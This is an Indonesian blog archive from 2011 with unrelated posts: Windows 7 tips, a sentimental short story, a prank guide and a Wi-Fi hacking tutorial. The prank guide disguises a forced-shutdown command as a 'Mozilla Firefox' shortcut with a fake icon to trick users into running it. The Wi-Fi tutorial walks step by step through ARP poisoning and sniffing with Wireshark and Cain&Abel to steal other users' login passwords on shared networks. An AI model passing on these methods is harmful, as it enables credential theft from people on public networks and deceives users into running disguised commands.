Jumat, 27 Mei 2011

 jika anda menginginkan program mozila firefox 5.0 beta klik di bawah ini
http://www.filehippo.com/download_firefox/

Senin, 09 Mei 2011

cara membuat virus shortcut

ini dibuat hanya untuk pembelajaran dan penulis tidak bertanggung jawab atas akibat dari tulisan ini
mari kita mulai………
-pertama-tama klik kanan pada layar dekstop kosong
-pilih shortcut
-lalu pada jendela browse, tulis tulisan berikut:
shutdown.exe -s -t 100-c “komp anda telah terserang virus dan akan meledak dalam waktu 100 detik”
-lalu pilih next
pada name area, buat nama yang menyakinkan seperti monzila firefox
-pilih finish
lau setelah selesai, klik kanan shortcut batusan
-pilih properties
-change icon
pilih icon yang sesuai
dan virus bajakan pun siap disajikan

20 Alasan Menggunakan Windows 7

20 Alasan Menggunakan Windows 7

Kali ini, akan saya berikan sebuah referensi bagi semua pembaca berbagai alasan mengapa anda harus menggunakan OS terbaru dari Microsoft ini yaitu Windows 7. Sebagai pembuka, Windows 7 dibuat agar sesuai dengan apa yang anda kehendaki. Karena, pada saat peluncuran Windows Vista, Microsoft banyak mendapat kritikan dari berbagai kalangan. Mulai dari Vista terasa berat, dan sebagainya. Jadi, ada sebagian kalangan waktu itu menyarankan untuk tetap menggunakan Windows XP. Lalu, untuk menjawab semua kritikan dan saran dari para pengguna komputer di seluruh dunia, lahirlah Windows 7, yang mengusung slogan "Work The Way You Want" yang artinya berjalan sesuai dengan anda mau. Dan slogan itu memang benar adanya.


Inilah, 10 alasan mengapa anda harus menggunakan Windows 7:
  1. Gunakan fitur Pin dan Jump List untuk memudahkan anda memilih program dan file yang paling sering anda gunakan.
  2. Rubah ukuran jendela dan pindahkan jendela Windows dengan gampang dan sangat simpel, dengan mendrag Window ke pinggir layar.
  3. Gunakan Windows Search, untuk mencari file dan folder dengan sangat mudah dan gampang. Klik start lalu mulai mencari
  4. Dari satu komputer yang menggunakan Windows 7, anda bisa sharing berbagai macam file, mulai dari gambar, video, music, dan dokumen, serta printer pun bisa disharing.
  5. Gunakan Windows Media Center untuk menikmati semua file multimedia dalam waktu yang singkat. Dan anda pun bisa merekam siaran TV, waduh hebat banget.
  6. Dengan mudah buat film sendiri dan bisa anda bagi ke teman anda, dan tidak ketinggalan juga fitur upload video ke YouTube
  7. Connect ke jaringan Wireless, hanya 3 kali klik.
  8. Sleep, dan resume yang lebih cepat. Jadi, anda bisa lebih produktif mengerjakan tugas anda, dan tidak perlu menunggu lama.
  9. Windows 7 membuat komputer anda yang memiliki layar sentuh menjadi lebih hidup dengan fitur Windows Touch.
  10. Atur perangkat mobile anda seperti HP dengan mudah, dan berada di satu tempat
Itulah beberapa alasan mengapa anda harus menggunakan Windows 7. Dan akan saya berikan alasan lagi bisnis kecil untuk menggunakan Windows 7, agar bisnisnya semakin lancar dan mudah:
  1. Lebih hemat listrik, Windows 7 mengkonsumsi listrik 30% lebih rendah, dari XP dan Vista. Jadi tagihan listrik anda, akan berkurang pula.
  2. Navigasi yang simpel, dengan fitur Windows Aero baru yaitu Aero Peek dan Aero Snap. Aero peek memungkinkan anda untuk melihat desktop secara instan. Aero Snap memungkinkan anda untuk meresize dan memanage jendela dengan gampang.
  3. Meminjam fitur dari Apple Snow Leopard, jika pointer anda mengarah ke icon di taskbar, maka preview dar program itu akan tampil.
  4. Stabilitas tinggi, dibandingkan dengan Vista. Secara otomais menginstall driver dari hardware apa saja.
  5. Keamanan yang sudah ditinggikan
  6. Jika anda punya monitor layar sentuh, maka anda bisa jadikan jari anda sebagai pengganti mouse anda
  7. Windows 7 mempunyai perpustakaan (Library) yang memungkinkan anda mengatur semua file dengan mudah dan gampang.
  8. Optimisasi network yang mudah
  9. Serba otomatis, mulai dari proses backup, troubleshooting, Windows Update, dan masih banyak fitur otomatis lainnya.
  10. Performance yang lebih kuat, dan juga powerfull
Nah itu dia, berbagai alasan untuk anda yang mempunyai bisnis kecil untuk menggunakan Windows 7. Bagi yang belum sistem requirements dari Windows 7, inilah dia sistem requirements nya:
  1. Processor, 1 GHZ atau lebih
  2. RAM 1 GB atau lebih
  3. Video Card yang mempuyai Directx 9.0 atau lebih
  4. Sisa harddisk minimal 16 GB untuk 32 bit dan 20 GB untuk 64 bit
Selesailah artikel ini, saya ucapkan terima kasih bagi yang terus mengunjungi blog ini . . .
Dan jangan lupa untuk selalu berkomentar,, OK???

membloking situs tanpa softwere

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Cara Membuat Sambungan Ad-Hoc di Windows 7

Cara Membuat Sambungan Ad-Hoc di Windows 7

Ada yang nanyak lagi nih dari sobat Like Windows 7. "Gmna caranya buat smbungan ad-hoc???" pertanyaan ini dilontarkan oleh wahyudi lewat E-mail ke likewin7@gmail.com Cara untuk membuat sambungan Ad-Hoc gampang banget di Windows 7. Caranya adalah:


  • Buka Control Panel
  • Klik Network and Internet
  • Klik Network and Sharing Center
  • Klik Set up a new connection or a network
  • Klik Set up a Wireless ad-hoc (computer to computer) network
  • Klik next pada kotak dialognya
  • lalu, masukkan nama untuk networknya beserta securitynya. Terserah mau dikasih password atau tidak. Jika sudah, klik next
  • Lalu, Windows akan mulai mengkonfigurasi networknya. Jika sudah selesai, klik close
Sekarang, ad-hoc kamu sudah aktif. Untuk melihat network ad-hoc kamu, kamu tinggal klik icon network pada tray iconya. Biar gak bingung (saya juga bingung, hehehe) silahkan lihat gambar dibawah ini:
Nah, sekarang teman kamu bisa connect ke komputer kamu......

Melihat Koneksi Internet Yang Terpakai di Windows 7 Dengan Resource Monitor

Melihat Koneksi Internet Yang Terpakai di Windows 7 Dengan Resource Monitor

AAhhhhh, kesel banget hari ini. Entah kenapa koneksi internetku lambat bener, padahal kuota internet Telkomsel Flash saya masih banyak. Tapi, setelah saya telusuri, ternyata bukan Flash saya yang lambat, melainkan ada proses dalam Windows yang mengambil bandwith saya tanpa ijin. Sehingga, koneksi internet menjadi lambat.


Mungkin, banyak sobat juga mengalami hal sama seperti saya. Nah, cara melihat proses apa yang mengambil koneksi internetnya dapat pembaca simak dibawah ini:
  • Buka start menu
  • Ketik "Resource Monitor" (tanpa tanda kutip) lalu tekan enter
  • Lalu, klik Tab Network
  • Lalu pada process with network activity, kita bisa melihat proses apa sajakah yang mengambil koneksi internet kita.
















Tips:
Kamu bisa mematikan proses tersebut agar berhenti mengambil koneksi internet kita. Caranya adalah klik kanan pada proses tersebut dan klik End process




















PERHATIAN!
Melakukan END PROCESS Mungkin dapat menyebabkan error. Jadi, berhati - hatilah. Resiko ditanggung pembaca sendiri.

Nah, itu dia cara melihat koneksi internet yang terpakai. Gampang dan sangat mudah...

Cara Mengganti Warna Command Prompt di Windows 7

Cara Mengganti Warna Command Prompt di Windows 7

Command Prompt yang ada di Windows 7 lebih powerful ketimbang dengan versi sebelumnya. Tapi, saya yakin kalau masih sedikit orang yang menggunakan Command Prompt. Nah, jika kamu bosan dengan warna command prompt yang hitam putih, kamu bisa mengubah warnanya. Caranya:
  • Buka Command prompt dengan cara klik start menu dan ketik "cmd.exe" dan tekan enter
  • Pada taskbar Command Prompt, klik kanan dan pilih properties











  • Pada tab colors, silahkan rubah warnanya sesuai keinginan.






















  • Jika sudah, klik OK!

kasih sepanjang jalan


KASIH SEPANJANG JALAN
.
Di stasiun kereta api bawah tanah Tokyo, aku merapatkan mantel wol tebalku erat-erat. Pukul 5 pagi. Musim dingin yang . Udara terasa beku mengigit. Januari ini memang terasa lebih dingin dari tahun-tahun sebelumnya. Di luar salju turun dengan sejak kemarin. Tokyo tahun ini terselimuti salju tebal, memutihkan segenap .
.
Stasiun yang selalu ramai ini agak sepi hari pagi. Ada seorang kakek tua di ujung kursi, melenggut menahan kantuk. Aku melangkah perlahan ke arah mesin minuman. Sesaat setelah sekeping uang logam aku masukkan, sekaleng capucino berpindah ke tanganku. Kopi itu sejenak menghangatkan tubuhku, tapi tak lama ketika tanganku menyentuh kartu pos di saku mantel, kembali aku berdebar.
.
Tiga hari yang lalu kartu pos ini tiba di apartemenku. Tidak banyak beritanya, hanya sebuah singkat yang dikirim , “Ibu sakit keras dan ingin sekali bertemu . Kalau tidak ingin menyesal, meski sebentar, ”. Aku mengeluh perlahan membuang sesal yang bertumpuk di dada. Kartu pos ini dikirim Asih setelah beberapa kali ia menelponku tapi aku tak begitu menggubris ceritanya. Mungkin ia bosan, hingga akhirnya hanya kartu ini yang dikirimnya. Ah, waktu seperti bergerak lamban, aku ingin segera tiba di rumah, tiba-tiba rinduku pada ibu tak tertahan. Tuhan, beri aku waktu, aku tak ingin menyesali
Sebenarnya aku sendiri tak punya waktu untuk pulang. Kesibukanku bekerja di sebuah perusahaan swasta di kawasan Yokohama, ditambah lagi mengurus dua puteri remajaku, membuat aku seperti tenggelam dalam kesibukan di negeri sakura ini. Inipun aku pulang setelah kemarin menyelesaikan sedikit urusan pekerjaan di Tokyo. Lagi-lagi urusan pekerjaan.
Sudah hampir dua puluh tahun aku menetap di Jepang. Tepatnya sejak aku menikah dengan Emura, pria Jepang yang aku kenal di Yogyakarta, kota kelahiranku. Pada saat itu Emura sendiri memang sedang di Yogya dalam rangka urusan kerjanya. Setahun setelah perkenalan itu, kami menikah.
Masih tergambar jelas dalam ingatanku wajah ibu yang menjadi murung ketika aku mengungkapkan rencana pernikahan itu. Ibu meragukan kebahagiaanku kelak menikah dengan pria asing ini. Karena tentu saja begitu banyak perbedaan budaya yang ada diantara kami, dan tentu saja ibu sedih aku harus berpisah dengan keluarga untuk mengikuti Emura. Saat itu aku berkeras dan tak terlalu menggubris kekhawatiran ibu.
Pada akhirnya memang benar kata ibu, tidak mudah menjadi istri orang asing. Di awal pernikahan begitu banyak pengorbanan yang harus aku keluarkan dalam rangka adaptasi, demi keutuhan rumah tangga. Hampir saja biduk rumah tangga tak bisa kami pertahankan. Ketika semua hampir karam, Ibu banyak membantu kami dengan nasehat-nasehatnya. Akhirnya kami memang bisa sejalan. Emura juga pada dasarnya baik dan penyayang, tidak banyak tuntutan.
Namun ada satu kecemasan ibu yang tak terelakkan, perpisahan. Sejak menikah aku mengikuti Emura ke negaranya. Aku sendiri memang sangat kesepian diawal masa jauh dari keluarga, terutama ibu, tapi kesibukan mengurus rumah tangga mengalihkan perasaanku. Ketika anak-anak beranjak remaja, aku juga mulai bekerja untuk membunuh waktu.
Aku tersentak ketika mendengar pemberitahuan kereta Narita Expres yang aku tunggu akan segera tiba. Waktu seperti terus memburu, sementara dingin semakin membuatku menggigil. Sesaat setelah melompat ke dalam kereta aku bernafas lega. Udara dalam kereta mencairkan sedikit kedinginanku. Tidak semua kursi terisi di kereta ini dan hampir semua penumpang terlihat tidur. Setelah menemukan nomor kursi dan melonggarkan ikatan syal tebal yang melilit di leher, aku merebahkan tubuh yang penat dan berharap bisa tidur sejenak seperti mereka. Tapi ternyata tidak, kenangan masa lalu yang terputus tadi mendadak kembali berputar dalam ingatanku.
Ibu..ya betapa kusadari kini sudah hampir empat tahun aku tak bertemu dengannya. Di tengah kesibukan, waktu terasa cepat sekali berputar. Terakhir ketika aku pulang menemani puteriku, Rikako dan Yuka, liburan musim panas. Hanya dua minggu di sana, itupun aku disibukkan dengan urusan kantor yang cabangnya ada di Jakarta. Selama ini aku pikir ibu cukup bahagia dengan uang kiriman ku yang teratur setiap bulan. Selama ini aku pikir materi cukup untuk menggantikan semuanya. Mendadak mataku terasa panas, ada perih yang menyesakkan dadaku. “Aku pulang bu, maafkan keteledoranku selama ini” bisikku perlahan.
Cahaya matahari pagi meremang. Kereta api yang melesat cepat seperti peluru ini terasa lamban untukku. Betapa jauh jarak yang terentang. Aku menatap ke luar. Salju yang saja turun menghalangi pandanganku. Tumpukan salju memutihkan segenap penjuru. Tiba-tiba aku teringat Yuka puteri sulungku yang duduk di bangku SMA kelas dua. Bisa dikatakan ia tak berbeda dengan remaja lainnya di Jepang ini. Meski tak terjerumus sepenuhnya pada kehidupan bebas remaja kota besar, tapi Yuka sangat ekspresif dan semaunya. Tak jarang kami berbeda pendapat tentang banyak hal, tentang norma-norma pergaulan atau bagaimana sopan santun terhadap orang tua.
Aku sering protes kalau Yuka pergi lama dengan teman-temannya tanpa idzin padaku atau papanya. Karena aku dibuat menderita dan gelisah tak karuan dibuatnya. Terus terang kehidupan remaja Jepang yang kian bebas membuatku khawatir sekali. Tapi menurut Yuka hal itu biasa, pamit atau selalu lapor padaku dimana dia berada, menurutnya membuat ia stres saja. Ia ingin aku mempercayainya dan memberikan kebebasan padanya. Menurutnya ia akan menjaga diri dengan sebaik-baiknya. Untuk menghindari pertengkaran semakin , aku mengalah meski akhirnya sering memendam gelisah.
Riko juga begitu, sering ia tak menggubris nasehatku, asyik dengan urusan sekolah dan teman-temannya. Papanya tak banyak komentar. Dia sempat bilang mungkin itu kesalahanku juga yang kurang menyediakan waktu buat mereka kesibukan bekerja. Mereka jadi seperti tidak membutuhkan mamanya. Tapi aku berdalih justru aku bekerja sepi di rumah akibat anak-anak yang berangkat dewasa dan jarang di rumah. Dulupun aku bekerja ketika si bungsu Riko telah menamatkan SD nya. Namun memang dalam hati ku akui, aku kurang bisa membagi waktu antara kerja dan keluarga.
Melihat anak-anak yang cenderung semaunya, aku frustasi juga, tapi akhirnya aku alihkan dengan semakin menenggelamkan diri dalam kesibukan kerja. Aku jadi teringat masa remajaku. Betapa ku ingat kini, diantara ke lima anak ibu, hanya aku yang paling sering tidak mengikuti anjurannya. Aku menyesal. Sekarang aku bisa merasakan bagaimana perasaan ibu ketika aku mengabaikan kata-katanya, tentu sama dengan sedih yang aku rasakan ketika Yuka jatau Riko juga sering mengabaikanku. Sekarang aku menyadari dan menyesali semuanya. Tentu sikap kedua puteri ku adalah peringatan yang Allah berikan atas keteledoranku dimasa lalu. Aku ingin mencium tangan ibu….
Di luar salju semakin tebal, semakin aku tak bisa melihat , semua menjadi kabur tersaput butiran salju yang putih. Juga semakin kabur oleh rinai air mataku. Tergambar lagi dalam benakku, saat setiap sore ibu mengingatkan kami kalau tidak pergi mengaji ke surau. Ibu sendiri sangat taat beribadah. Melihat ibu khusu’ tahajud di tengah malam atau berkali-kali mengkhatamkan alqur’an adalah biasa buatku. Ah..teringat ibu semakin tak tahan aku menanggung rindu. Entah sudah berapa kali kutengok arloji dipergelangan tangan.
Akhirnya setelah menyelesaikan semua urusan boarding-pass di bandara Narita, aku harus bersabar lagi di pesawat. Tujuh jam perjalanan bukan waktu yang sebentar buat yang sedang memburu waktu seperti aku. Senyum ibu seperti terus mengikutiku. Syukurlah, Window-seat, no smoking area, membuat aku sedikit bernafas lega, paling tidak untuk menutupi kegelisahanku pada penumpang lain dan untuk berdzikir menghapus sesak yang memenuhi dada. Melayang-layang di atas samudera fasifik sambil berdzikir memohon ampunan-Nya membuat aku sedikit tenang. Gumpalan awan putih di luar seperti gumpalan-gumpalan rindu pada ibu.
Yogya belum banyak berubah. Semuanya seperti dulu ketika terakhir aku meninggalkannya. Kembali ke Yogya seperti kembali ke masa lalu. Kota ini memendam semua kenanganku. Melewati jalan-jalan yang dulu selalu aku lalui, seperti menarikku ke masa-masa silam itu. Kota ini telah membesarkanku, maka tak terbilang banyaknya kenangan didalamnya. Terutama kenangan-kenangan manis bersama ibu yang selalu mewarnai semua hari-hariku. Teringat itu, semakin tak sabar aku untuk bertemu ibu.
Rumah berhalaman besar itu seperti tidak lapuk dimakan waktu, rasanya seperti ketika aku kecil dan berlari-lari diantara tanaman-tanaman itu, tentu selama ini ibu rajin merawatnya. Namun ada satu yang berubah, ibu…
Wajah ibu teduh dan bijak seperti dulu, meski usia telah senja tapi ibu tidak terlihat tua, hanya saja ibu terbaring lemah tidak berdaya, tidak sesegar biasanya. Aku berlutut disisi pembaringannya, “Ibu…Rini datang, bu..”, gemetar bibirku memanggilnya. Ku raih tangan ibu perlahan dan mendekapnya didadaku. Ketika kucium tangannya, butiran air mataku membasahinya. Perlahan mata ibu terbuka dan senyum ibu, senyum yang aku rindu itu, mengukir di wajahnya. Setelah itu entah berapa lama kami berpelukan melepas rindu. Ibu mengusap rambutku, pipinya basah oleh air mata. Dari matanya aku tahu ibu juga menyimpan derita yang sama, rindu pada anaknya yang telah sekian lama tidak berjumpa. “Maafkan Rini, Bu..” ucapku berkali-kali, betapa kini aku menyadari semua kekeliruanku selama ini

Cara Mengenal Hacking Wireless/WiFi/Hotspot dan Trikny

hacking wireless Cara Mengenal Hacking Wireless/WiFi/Hotspot dan Triknya
.
Wi-Fi (Wireless Fidelity)
.
Wi-Fi (Wireless Fidelity) adalah koneksi tanpa kabel seperti handphone dengan mempergunakan teknologi radio sehingga pemakainya dapat mentransfer data dengan cepat. Wi-Fi tidak hanya dapat digunakan untuk mengakses internet, Wi-Fi juga dapat digunakan untuk membuat jaringan tanpa kabel di perusahaan. Karena itu banyak orang mengasosiasikan Wi-Fi dengan “Kebebasan” teknologi Wi-Fi memberikan kebebasan kepada pemakainya untuk mengakses internet atau mentransfer data dari ruang meeting, kamar hotel, , dan café-café yang bertanda “Wi-Fi Hot Spot”.
.
Awalnya Wi-Fi ditujukan untuk pengunaan perangkat nirkabel dan Jaringan Area Lokal (LAN), namun saat ini lebih banyak digunakan untuk mengakses internet. Hal ini memungkinan seseorang dengan dengan kartu nirkabel (wireless card) atau personal digital assistant (PDA) untuk terhubung dengan internet dengan menggunakan akses (atau dikenal dengan hotspot) terdekat.

Spesifikasi

Wi-Fi dirancang berdasarkan spesifikasi IEEE 802.11. Sekarang ini ada empat variasi dari 802.11, yaitu: 802.11a, 802.11b, 802.11g, and 802.11n. Spesifikasi b merupakan produk pertama Wi-Fi. Variasi g dan n merupakan salah satu produk yang memiliki penjualan terbanyak pada 2005.
Spesifikasi Wi-Fi
Spesifikasi Kecepatan Frekuensi
Band
Cocok
dengan
802.11b 11 Mb/s 2.4 GHz B
802.11a 54 Mb/s 5 GHz A
802.11g 54 Mb/s 2.4 GHz b, g
802.11n 100 Mb/s 2.4 GHz b, g, n





Secara teknis operasional, Wi-Fi merupakan salah satu teknologi komunikasi dan informasi yang bekerja pada jaringan dan perangkat WLAN (wireless local area network). Dengan kata lain, Wi-Fi adalah sertifikasi yang diberikan pabrikan kepada perangkat (internet) yang bekerja di jaringan WLAN dan sudah memenuhi kualitas kapasitas interoperasi yang dipersyaratkan.
Teknologi internet berbasis Wi-Fi dibuat dan dikembangkan sekelompok insinyur Amerika Serikat yang bekerja pada Institute of Electrical and Electronis Engineers (IEEE) berdasarkan standar teknis perangkat bernomor 802.11b, 802.11a dan 802.16. Perangkat Wi-Fi sebenarnya tidak hanya mampu bekerja di jaringan WLAN, tetapi juga di jaringan Wireless Metropolitan Area Network (WMAN).
Karena perangkat dengan standar teknis 802.11b diperuntukkan bagi perangkat WLAN yang digunakan di frekuensi 2,4 GHz atau yang lazim disebut frekuensi ISM (Industrial, Scientific dan edical). Sedang untuk perangkat yang berstandar teknis 802.11a dan 802.16 diperuntukkan bagi perangkat WMAN atau juga disebut Wi-Max, yang bekerja di sekitar pita frekuensi 5 GHz.
Kelebihan Wi-fi
Tingginya animo masyarakat -khususnya di kalangan komunitas Internet- menggunakan teknologi Wi-Fi dikarenakan paling tidak dua faktor.
  1. kemudahan akses. Artinya, para pengguna dalam satu area dapat mengakses Internet secara bersamaan tanpa perlu direpotkan dengan kabel.
  2. pengguna yang ingin melakukan surfing atau browsing berita dan informasi di Internet, cukup membawa PDA (pocket digital assistance) atau laptop berkemampuan Wi-Fi ke tempat dimana terdapat access point atau hotspot.
Menjamurnya hotspot di tempat-tempat tersebut -yang dibangun oleh operator , penyedia jasa Internet bahkan orang perorangan- dipicu faktor kedua, yakni biaya pembangunannya yang relatif murah atau hanya berkisar 300 dollar Amerika Serikat. Juga salah satu kelebihan dari Wi-Fi adalah kecepatannya yang beberapa kali lebih cepat dari modem kabel yang tercepat. Jadi pemakai Wi-Fi tidak lagi harus berada di dalam ruang kantor untuk bekerja
Wi-fi Hardware
Hardware wi-fi yang ada di pasaran saat ini ada berupa
Wi-fi dalam bentuk PCI Wi-fi dalam bentuk USB
Ada 2 mode akses koneksi Wi-fi, yaitu
Ad-Hoc
Mode koneksi ini adalah mode dimana beberapa terhubung secara langsung, atau lebih dikenal dengan istilah Peer-to-Peer. Keuntungannya, lebih murah dan praktis bila yang terkoneksi hanya 2 atau 3 , tanpa harus membeli access point
Infrastruktur
Menggunakan Access Point yang berfungsi sebagai pengatur lalu lintas data, sehingga memungkinkan banyak Client dapat saling terhubung melalui jaringan (Network).
Kelemahan pada wifi
Mudahnya dihacking oleh para hacer untuk mencuri password pengguna wi-fi
Cara adalah sebagai berikut:
Pertama kita harus mengetahui perbedaan antara jaringan Hub dan Switch:
* Pada jaringan hub semua data yang mengalir di jaringan dapat dilihat/diambil oleh manapun yang ada di jaringan asalakan tersebut merequest data tersebut, kalo tidak direquest ya tidak akan datang.
* Pada jaringan switch hanya yang melakukan pertukaran data yang dapat melihat data tersebut, komputer2 lain tidak berhak merequest data tersebut.
Masalahnya adalah harga dari router hub dan switch tidak berbeda jauh sehingga kebanyakan tempat sekarang sudah menggunakan metode switch yang menyulitkan untuk network hacking.
Hacking ini menggunakan teknik:
  • Sniffing
  • ARP Poison Routing
Kedua Teknik di atas tidak akan bisa dicegah oleh firewall apapun di korban, dijamin.
Important Note: ARP Poison Routing dapat meyebabkan denial of service (dos) pada salah satu / semua pada network anda
Kelebihan:
  1. Tidak akan terdeteksi oleh firewall tipe dan seri apapun kelemahannya terletak pada sistem jaringan bukan pada komputernya
  2. Bisa mencuri semua jenis login password yang melalui server HTTP
  3. Bisa mencuri semua login password orang yang ada di jaringan Hub selama program diaktifkan
  4. Untuk ARP Poisoning bisa digunakan untuk mencuri password di HTTPS
  5. Semua programnya free
  6. Untuk jaringan Switch harus di ARP poisoning 1 persatu dan bandwidth anda akan termakan banyak untuk hal itu (kalo inet super cepat ga masalah)
  7. Ketahuan / tidak oleh admin jaringan di luar tanggung jawab saya
  8. Mulai dari sini anggap bahwa di network dalam kisah ini ada 3 , yaitu:
  9. Komputer Korban
  10. Komputer Hacker
  11. Server
Langkah-langkah pertama:
  1. 1. Cek tipe jaringan anda, anda ada di jaringan switch / hub. Jika anda berada di jaringan hub bersyukurlah proses hacking anda akan jauh lebih mudah.
  2. 2. Download program-program yang dibutuhkan yaitu Wireshark dan Cain&Abel.Code:
Cara Menggunakan WireShark:
  1. Jalankan program wireshark
  2. Tekan tombol Ctrl+k (klik capture lalu option)
  3. Pastikan isi pada Interfacenya adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan pastikan pula bahwa “Capture packets in promiscuous mode” on
  4. Klik tombol start
  5. Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selamaanda menekan tombol start
  6. Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada anda saja jika network anda menggunakan Swtich
  7. Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (saya tidak akan menjelaskan caranya saya tidak bisa )
  8. Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan korban ke website dan sebaliknya
Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.
Cara Menggunakan Cain&Abel:
  • * Penggunaan program ini jauh lebih mudah dan simple daripada menggunakan wireshark, tetapi bila anda menginginkan semua packet yang sudah keluar dan masuk disarankan anda menggunakan program wireshark
  • * Buka program Cain anda
  • * Klik pada bagian configure
  • * Pada bagian “Sniffer” pilih ethernet card yang akan anda gunakan
    * Pada bagian “HTTP Fields” anda harus menambahkan username fields dan password fields nya apabila yang anda inginkan tidak ada di daftar.
    Sebagai contoh saya akan beritahukan bahwa kalo anda mau hack password Friendster anda harus menambahkan di username fields dan passworsd fields kata name, untuk yang lain anda bisa mencarinya dengan menekan klik kanan view source dan anda harus mencari variabel input dari login dan password website tersebut. Yang sudah ada di defaultnya rasanyan sudah cukup lengkap, anda dapat mencuri pass yang ada di klubmentari tanpa menambah apapun.
  • * Setelah itu apply settingannya dan klik ok
  • * Di menu utama terdapat 8 tab, dan yang akan dibahas hanya 1 tab yaitu tab “Sniffer” itu pilih lah tab tersebut dan jangan pindah2 dari tab tersebut untuk mencegah kebingungan anda sendiri
  • * Aktifkan Sniffer dengan cara klik tombol sniffer yang ada di atas tab2 tersebut, carilah tombol yang tulisannya “Start/Stop Sniffer”
  • * Bila anda ada di jaringan hub saat ini anda sudah bisa mengetahui password yang masuk dengan cara klik tab (Kali ini tab yang ada di bawah bukan yang di tengah, yang ditengah sudah tidak usah diklik-klik lagi) “Passwords”
    * Anda tinggal memilih password dari koneksi mana yang ingin anda lihat akan sudah terdaftar di sana
  • * Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih, anda harus mengaktifkan APR yang tombolonya ada di sebelah kanan Sniffer (Dan ini tidak dijamin berhasil manage dari switch jauh lebih lengkap&secure dari hub)
  • * Sebelum diaktifkan pada tab sniffer yang bagian bawah pilih APR
  • * Akan terlihat 2 buah list yang masih kosong, klik list kosong bagian atas kemudian klik tombol “+” (Bentuknya seperti itu) yang ada di jajaran tombol sniffer APR dll
  • * Akan ada 2 buah field yang berisi semua host yang ada di jaringan anda
  • * Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
  • * Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama.
Anda dapat menjalankan kedua program di atas secara bersamaan (Cain untuk APR dan wireshark untuk packet sniffing) bila ingin hasil yang lebih maksimal.
Password yang bisa anda curi adalah password yang ada di server HTTP (server yang tidak terenkripsi), bila data tersebut ada di server yang terenkripsi maka anda harus mendekripsi data tersebut sebelum memperoleh passwordnya (dan itu akan membutuhkan langkah2 yang jauh lebih panjang dari cara hack ini)
Untuk istilah-istilah yang tidak ngerti bisa dicari di wikipedia (tapi yang inggris ya kalo yang indo jg belum tentu ada).
Secara teknologis jalur frekuensi -baik 2,4 GHz maupun 5 GHz- yang menjadi wadah operasional teknologi Wi-Fi tidak bebas dari keterbatasan .
Pasalnya, pengguna dalam suatu area baru dapat memanfaatkan sistem Internet nirkabel ini dengan optimal, bila semua perangkat yang dipakai pada area itu menggunakan daya pancar yang seragam dan terbatas.
Apabila prasyarat tersebut tidak diindahkan, dapat dipastikan akan terjadi harmful interference bukan hanya antar perangkat pengguna Internet, tetapi juga dengan perangkat sistem lainnya.
Bila interferensi tersebut berlanjut - penggunanya ingin lebih unggul dari pengguna lainnya, maupun karenanya kurangnya pemahaman terhadap keterbatasan teknologinya- pada akhirnya akan membuat jalur frekuensi 2,4 GHz dan 5 GHz tidak dapat dimanfaatkan secara optimal.
Keterbatasan lain dari kedua jalur frekuensi nirkabel ini (khususnya 2,4 GHz) ialah juga digunakan untuk keperluan ISM (industrial, science and medical).
Konsekuensinya, penggunaan komunikasi radio atau perangkat lain yang bekerja pada pada pita frekuensi itu harus siap menerima gangguan dari perangkat ISM, sebagaimana tertuang dalam S5.150 dari Radio Regulation.
Dalam rekomendasi ITU-R SM.1056, diinformasikan juga karakteristik perangkat ISM yang pada intinya bertujuan mencegah timbulnya interferensi, baik antar perangkat ISM maupun dengan perangkat lainnnya.
Rekomendasi yang sama menegaskan bahwa setiap anggota ITU bebas menetapkan persyaratan administrasi dan aturan hukum yang terkait dengan keharusan pembatasan daya.
Menyadari keterbatasan dan dampak yang mungkin timbul dari penggunaan kedua jalur frekuensi nirkabel tersebut, berbagai negara lalu menetapkan regulasi yang membatasi daya pancar perangkat yang digunakan.
Sinyal Wireless
Sinyal wireless LAN normalnya dapat ditangkap pada kisaran sekitar 200 meter dari access point, tetapi client yang menggunakan antena eksternal dapat menangkap sinyal sampai sejauh 1000 meter. Apabila anda menempatkan AP dekat pintu atau jendela, dapat dipastikan para tetangga dapat ikut menikmati akses Internet atau melakukan sniffing terhadap traffic network.
Apabila infrastruktur wireless LAN itu melibatkan koneksi wireless antar-gedung tinggi, maka client yang tidak diinginkan dapat melakukan sniffing dari bawah sejauh sampai 2.500 kaki (762 meter). Jadi walaupun sinyal wireless LAN para ISP yang dipasangkan di puncak-puncak gedung tinggi dapat di-sniffing dari bawah (dikenal sebagai war flying).
Jika anda ingin connect internet menggunakan wifi sementara anda jauh AP atau dari tempat wifi yang tersedia anda bisa mendekatkan diri dengan area tersebut dan bisa main internet sepuasnya dengan langkah sebagai berikut
1) Anda harus memiliki USB Wireless Adapter. Yang bisa anda dapatkan ditoko toko dengan harga berkisar Rp 210.000 (cukup murah untuk technology secanggih ini) + antenna UHF bentuk parabola.
2) Langkah ini merupakan langkah kunci, yaitu dengan menggunakan antenna UHV yang berbentuk Grid Parabolic sebagai Reflector untuk memperkuat sinyal.
3) Untuk lebih memperkuat daya reflexy dari parabole anda dapat menambahkan kawat kasa pada seluruh permukaan, lalujangan lupa disekrup dengan rangka parabola. Anda juga bisa menambahkan alumunium foil.
4) Pasanglah USB WiFi Adapter pada tiang penyangga yang ada di tengah parabola. Apabila terlalu panjang dari fokusnya dapat dipotong.
Usahakan agar USB WiFI terletak pada fokus parabola. Ingat kan rumus fokus parabola. Kalau ragu nih rumus sederhananya.
F= D(kuadrat) / 4(kuadrat).c
D: diameter parabola
C: kedalaman parabola
5) pasang kabel USB( High Speed 2.0 usb cable system) sedemikian rupa.
6) Lalu pasang kembali tiang penyangga USB wifi pada parabola. Pasang pada pipa besi untuk mempermudah antenne supaya enak diputar putar.
7) Kalau udah install driver USB WiFI tadi (bawaan pabrik).
